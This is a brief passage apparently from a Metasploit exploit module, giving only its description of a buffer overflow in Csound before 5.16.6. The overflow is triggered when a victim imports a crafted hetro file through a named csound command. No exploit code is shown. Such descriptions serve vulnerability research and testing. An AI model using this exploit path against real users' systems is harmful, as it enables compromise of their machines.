  			'Description' => %q{
  					This module exploits a buffer overflow in Csound before 5.16.6.
  				The overflow occurs when trying to import a malicious hetro file
  				from tabular format.
  				In order to achieve exploitation the user should import the malicious
  				file through csound with a command like "csound -U het_import msf.csd file.het".
  				This exploit doesn't work if the "het_import" command is used directly
  				to convert the file.
